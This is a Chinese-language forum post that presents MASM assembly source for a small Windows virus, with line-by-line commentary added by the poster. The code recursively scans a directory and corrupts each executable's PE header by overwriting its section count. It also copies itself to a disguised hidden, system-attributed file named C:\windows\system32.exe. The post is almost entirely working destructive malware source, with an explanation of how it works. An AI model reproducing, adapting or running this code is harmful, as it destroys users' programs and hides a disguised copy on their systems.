- UID
- 549
- 积分
- 3356
- TBS
- 51673
- 智商
- 1538
- 节操
- 1531
- 海贝
- 1
- 阅读权限
- 60
- 在线时间
- 147 小时
- 注册时间
- 2014-1-3
- 最后登录
- 2015-6-23
|
- 代码是小生在某社区写的,我发现这个代码没有注释,他就是说了一下这个干什么用的.汇编没注释代码看不下去,于是花了一个小时给每一句添加注释和解析,如有错误还请指教 ,作用是破坏某文件下的文件的PE结构
复制代码- .model flat,stdcall
- option casemap:none
- include windows.inc
- include user32.inc
- include kernel32.inc
- includelib kernel32.lib
- includelib kernel32.lib
- ;********************************************************************
- .data
- sz1 db 'D:\1\',0
- sz2 db '*.*',0
- sz3 db 32 dup(?)
- sz4 db 32 dup(?)
- sz5 db 'C:\windows\system32.exe',0
- p2 dd ?
- ;*************************小生写的一个病毒*******************************************
- .code
- _FindFile proc _lpszPath
- local @stFindFile:WIN32_FIND_DATA ;WIN32_FIND_DATA结构类型的变量,看意思就能看出来干嘛的了,寻找数据,然后存放数据信息(这里数据指的应该是文件的信息)
- local @hFindFile
- local @szPath[MAX_PATH]:byte ;路径大小为MAX_PATH也就是256字节的变量存储路径
- local @szSearch[MAX_PATH]:byte
- local @szFindFile[MAX_PATH]:byte
- pushad ;保存目前的寄存器值
- invoke lstrcpy,addr @szPath,_lpszPath ;传进来的路径的指针复制给变量szPath
- ;**************************************梦殇·华丽注释******************************
- invoke lstrlen,addr @szPath ;求出路径的长度
- lea esi,@szPath ;在一次把路径地址传给寄存器esi,为了使用伪指令
- add esi,eax ;路径的起始地址加线长得出路径的末尾地址交给esi
- xor eax,eax ;eax置0
- mov al,'\' ;给8位寄存器al赋值
- .if byte ptr [esi-1] != al ;判断路径的尾部是不是 '\'(路径末尾地址中存放的值是不是\)
- mov word ptr [esi],ax ;不是的话就添加'\0',添加ax是因为ax的低八位是\ ax的高八位是0x00
- .endif
- invoke lstrcpy,addr @szSearch,addr @szPath ;路径复制给szSearch这个变量的地址中
- invoke lstrcat,addr @szSearch,addr sz2 ;连接字符串,把传进来的路径连接全局变量'*.*'意思是扫目标路径下的全部文
- 件
- ;***********************************梦殇·华丽注释*********************************
- invoke FindFirstFile,addr @szSearch,addr @stFindFile ;寻找第一个文件返回文件句柄,并置文件的信息结构于变量@stFindFile
- .if eax != INVALID_HANDLE_VALUE ;如果寻找到的不是无效的句柄,也就是寻找成功的话
- mov @hFindFile,eax ;取到返回的文件句柄
- .repeat
- invoke lstrcpy,addr @szFindFile,addr @szPath ;路径复制给变量@szFindFile,这个变量就是上边那个 'XXX路径\'
- invoke lstrcat,addr @szFindFile,addr @stFindFile.cFileName ;再让路径连接找到的文件名称'XXX\路径\找到的文件'
- .if @stFindFile.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY ;判断找到的文件的属性是不是目录,位与操作如果
- 是目录的话1 & 1肯定是1 是1就进入判断
- .if @stFindFile.cFileName != '.' ;一个.表示是不是上一级目录,俩个..表示根目录,这里我也忘了是不
- 是这个意思
- invoke _FindFile,addr @szFindFile ;是目录的话就递归调用,文件的寻找大部分都是递归
- .endif
- .else ;不是目录是文件的情况下
- invoke lstrcpy,offset sz3,addr @szFindFile ;拷贝目录给sz3(sz3是32字节大小的,我不知道他为何不给一个MAX_PATH)
- call ww1 ;修改PE,这个函数在下边讲解
- .endif
- invoke FindNextFile,@hFindFile,addr @stFindFile ;寻找下一个文件,和上边那个东东用法一样
- .until eax == FALSE ;直到找不到下一个文件,也就是照完了的情况下退出循环
- invoke FindClose,@hFindFile ;寻找完后关闭文件句柄
- .endif
- ;************************************梦殇·华丽注释********************************
- popad ;出栈寄存器,恢复值
- ret
- _FindFile endp
- ww1 proc
- LOCAL file:OPENFILENAME ;修改PE肯定先要打开一个文件,那么就先定义一个这么样的结构变量
- LOCAL h1,l1,p1,s1 ;名字敢不敢叫的再奇葩点
- invoke CreateFile,offset sz3,GENERIC_READ or GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL ;sz3在遍历目录的时候已经赋值了,值就是目标感染程序名称,打开这个文件获取权限为可读可写,返回的是文件对象的句柄
- mov h1,eax ;文件句柄交给h1
- invoke GetFileSize,eax,NULL ;获取文件大小
- mov l1,eax ;大小交给l1
- ;开始最重要的部分
- invoke VirtualAlloc,0,eax,MEM_COMMIT,PAGE_READWRITE ;申请内存空间,参数0表示系统决定新的内存块的位置,eax是分配内存的大小,等于文件的大小,并设置该内存页是可读可写的权限
- mov p1,eax ;上边那个函数返回分配到的新的内存块的指针,交给p1
- invoke RtlZeroMemory,eax,l1 ;新内存块填0,相当于初始化一下
- invoke ReadFile,h1,p1,l1,offset p2,NULL ;h1是目标文件的句柄,把读到的数据保存到缓冲区p1,p1就是刚才申请的新的内存块,11是读入的字节数,读入11字节(由于是简单的修改PE)p2是个32位的双字型指针,他保存了实际读到的字节数
- mov esi,p1 ;现在新的内存块有了数据,把他转移给寄存器esi,此时esi就是程序的装入地址,因为系统装载程序就是从新的内存地址中开始装入的
- assume esi:ptr IMAGE_DOS_HEADER ;关联DOS头,此时寄存器esi指向文件dos头地址
- mov eax,[esi].e_lfanew ;然后使用esi根据dos头的结构的字段e_lfanew获取PE头,此时eax就指向了PE头
- mov ecx,eax ;pe头指针给ecx
- add esi,eax ;此时的地址是RVA地址(我凑这个是很重要的概念),rva地址是偏移地址,所以再加装载地址得到了PE头的真正地址
- assume esi:ptr IMAGE_NT_HEADERS ;得到PE头的真正地址后关联PE头结构,esi是指向PE头的指针
- movzx eax,[esi].FileHeader.NumberOfSections ;接下来就要到PE的节了,首先根据PE头结构中的字段获取节数目给eax
- inc eax ;节数目(eax)自增1节表数=节数,破坏PE结构的节数
- ;dec eax
- mov s1,eax ;节表数交给s1
- add ecx,6 ;ecx+6由于PE头结构里面有一个字段还嵌套一个结构,+6后刚好是指向节数的地址
- invoke SetFilePointer,h1,ecx,NULL,FILE_BEGIN ;设置欲要读写的指针的位置指向文件开始处,目标是目标文件的句柄,这个函数读写位置不是真正的地址,而是一个相当于PE头地址的偏移地址,所以插入ecx这个偏移地址,指针移动到节的地址
- invoke WriteFile,h1,addr s1,2,offset p2,0 ;设置好指针后就开始写,2是要写入的长度2,p2是实际写入的数量,写入的数据是s1这样就改变了PE的节达到破坏PE程序的目的(这个地方说错了还请指教)
- invoke CloseHandle,h1 ;关闭文件对象句柄
- ret
- ww1 endp
- ;*************************************梦殇·华丽注释*******************************
- run proc ;初始化的操作
- invoke GetModuleHandle,NULL ;获取模块句柄
- invoke GetModuleFileName,NULL,offset sz4,32 ;获取模块名存放在缓存sz4中,缓存大小是32
- invoke CopyFile,offset sz4,offset sz5,FALSE ;自身拷贝,做木马副本
- invoke SetFileAttributes,offset sz5,FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM ;设置文件属性,隐藏文件并设置为系统级文件
- ret
- run endp
- ;*************************************梦殇·华丽注释*******************************
- start:
- call run ;初始化
- lea eax,offset sz1 ;目标感染文件是D:\1\,复制给寄存器eax
- push eax ;把他入栈保存起来
- call _FindFile ;开始遍历目录并逐一感染
- ;********************************************************************
- end start
复制代码
|
|